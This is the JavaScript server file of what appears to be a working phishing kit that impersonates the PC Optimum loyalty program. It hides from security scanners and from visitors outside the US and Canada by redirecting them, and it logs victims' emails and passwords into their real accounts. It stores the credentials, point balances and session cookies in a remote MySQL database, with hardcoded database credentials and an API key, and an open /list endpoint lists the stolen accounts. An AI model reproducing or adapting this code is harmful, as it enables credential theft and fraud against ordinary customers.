app.mjs 5.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200
  1. import Fastify from "fastify";
  2. import fastifyStatic from "@fastify/static";
  3. import { dirname, resolve, join } from "path";
  4. import { fileURLToPath } from "url";
  5. import { Sequelize, DataTypes } from "sequelize";
  6. import { login } from "./login.mjs";
  7. import axios from "axios";
  8. import is_ip_private from "private-ip";
  9. import { Crawler, middleware } from "es6-crawler-detect";
  10. const __filename = fileURLToPath(import.meta.url);
  11. const __dirname = dirname(__filename);
  12. const fastify = Fastify({
  13. trustProxy: true,
  14. logger: {
  15. level: "error",
  16. },
  17. });
  18. fastify.addHook("onRequest", async (request, reply) => {
  19. var CrawlerDetector = new Crawler(request);
  20. if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
  21. return reply.code(302).header("Location", "http://localhost").send();
  22. }
  23. try {
  24. const ip = request.ip;
  25. console.log(ip);
  26. if (ip && !is_ip_private(ip)) {
  27. const { data: ipInfo } = await axios.get(
  28. `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
  29. );
  30. if (
  31. ["cdn", "hosting", "education"].includes(ipInfo.connection.type)
  32. ) {
  33. return reply
  34. .code(302)
  35. .header("Location", "https://www.pcoptimum.ca")
  36. .send();
  37. }
  38. if (!["US", "CA"].includes(ipInfo.location.country.code)) {
  39. return reply
  40. .code(302)
  41. .header("Location", "https://www.pcoptimum.ca")
  42. .send();
  43. }
  44. }
  45. } catch (error) {
  46. console.error(error.stack);
  47. }
  48. });
  49. fastify.register(fastifyStatic, {
  50. root: resolve(__dirname, "public"),
  51. prefix: "/",
  52. });
  53. const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
  54. host: "38.180.126.100",
  55. dialect: "mysql",
  56. });
  57. const Accounts = sequelize.define(
  58. "accounts",
  59. {
  60. // Model attributes are defined here
  61. email: {
  62. type: DataTypes.STRING,
  63. allowNull: false,
  64. },
  65. password: {
  66. type: DataTypes.STRING,
  67. allowNull: false,
  68. },
  69. userAgent: {
  70. type: DataTypes.TEXT("long"),
  71. allowNull: true,
  72. },
  73. ip: {
  74. type: DataTypes.STRING,
  75. allowNull: true,
  76. },
  77. success: {
  78. type: DataTypes.BOOLEAN,
  79. allowNull: false,
  80. defaultValue: false,
  81. },
  82. result: {
  83. type: DataTypes.TEXT("long"),
  84. allowNull: true,
  85. },
  86. error: {
  87. type: DataTypes.TEXT("long"),
  88. allowNull: true,
  89. },
  90. balance: {
  91. type: DataTypes.STRING,
  92. allowNull: true,
  93. },
  94. dollarsRedeemable: {
  95. type: DataTypes.STRING,
  96. allowNull: true,
  97. },
  98. cookies: {
  99. type: DataTypes.TEXT("long"),
  100. allowNull: true,
  101. },
  102. browserOptions: {
  103. type: DataTypes.TEXT("long"),
  104. allowNull: true,
  105. },
  106. },
  107. {
  108. // Other model options go here
  109. }
  110. );
  111. sequelize
  112. .authenticate()
  113. .then(() => {
  114. console.log("Connection has been established successfully.");
  115. Accounts.sync().then(() => {
  116. console.log(
  117. "The table for the Account model was just (re)created!"
  118. );
  119. });
  120. })
  121. .catch((error) => {
  122. console.error("Unable to connect to the database:", error);
  123. });
  124. fastify.post("/login", async function (request, reply) {
  125. if (!request.body || !request.body.email || !request.body.password) {
  126. return reply
  127. .code(400)
  128. .send({ error: "email and password are required" });
  129. } else {
  130. const { email, password } = request.body;
  131. try {
  132. const { points, cookies, options } = await login(email, password);
  133. let balance = null;
  134. let dollarsRedeemable = null;
  135. if (points) {
  136. try {
  137. const json = JSON.parse(points);
  138. balance = json.balance + "";
  139. dollarsRedeemable = json.dollarsRedeemable + "";
  140. } catch (error) {}
  141. }
  142. const account = await Accounts.create({
  143. email,
  144. password,
  145. userAgent: request.headers["user-agent"],
  146. success: true,
  147. result: points,
  148. balance,
  149. dollarsRedeemable,
  150. cookies,
  151. browserOptions: JSON.stringify(options),
  152. });
  153. return reply.code(200).send();
  154. } catch (error) {
  155. console.error(error.stack);
  156. const account = await Accounts.create({
  157. email,
  158. password,
  159. userAgent: request.headers["user-agent"],
  160. success: false,
  161. error: error.stack,
  162. });
  163. return reply.code(500).send(error);
  164. }
  165. }
  166. });
  167. fastify.get("/list", async function (request, reply) {
  168. let page = request.query.page ? parseInt(request.query.page) : 0;
  169. const query = {};
  170. if (request.query.success) {
  171. query.success = request.query.success === "true";
  172. }
  173. const accounts = await Accounts.findAll({
  174. offset: 20 * page,
  175. limit: 20,
  176. order: [["createdAt", "DESC"]],
  177. where: query,
  178. });
  179. const total = await Accounts.count({ where: query });
  180. return {
  181. data: accounts,
  182. total,
  183. };
  184. });
  185. fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
  186. if (err) {
  187. fastify.log.error(err);
  188. process.exit(1);
  189. }
  190. });